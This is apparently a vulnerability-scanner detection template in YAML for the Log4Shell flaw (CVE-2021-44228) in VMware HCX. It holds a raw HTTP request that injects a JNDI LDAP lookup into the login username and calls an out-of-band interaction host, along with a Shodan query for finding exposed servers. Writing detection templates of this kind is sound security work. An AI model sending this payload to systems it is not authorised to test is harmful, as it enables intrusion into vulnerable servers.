72 lines
2.2 KiB
YAML
72 lines
2.2 KiB
YAML
id: vmware-hcx-log4j
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info:
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name: VMware HCX - Remote Code Execution (Apache Log4j)
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author: pussycat0x,DhiyaneshDK
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severity: critical
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description: VMware HCX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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reference:
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- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: true
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max-request: 1
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shodan-query: title:"VMware HCX"
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tags: cve,cve2021,rce,jndi,log4j,vmware,kev,oast
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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http:
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- raw:
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- |
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@timeout: 10s
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POST /hybridity/api/sessions HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json
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Content-Type: application/json
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Origin: {{BaseURL}}
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{
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"authType": "password",
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"username": "${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}",
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"password": "admin"
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}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors:
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- type: kval
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kval:
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- interactsh_ip
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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# digest: 4b0a00483046022100cb5bb403e9270f1ed3996ce6c68ab64192f3267edceabfc8b008fdea7aac75fe022100e883dee8412067c2f9d4b436864d7fabcaf7b73f9cac7de524b0499e5a649e2b:922c64590222798bb761d5b6d8e72950
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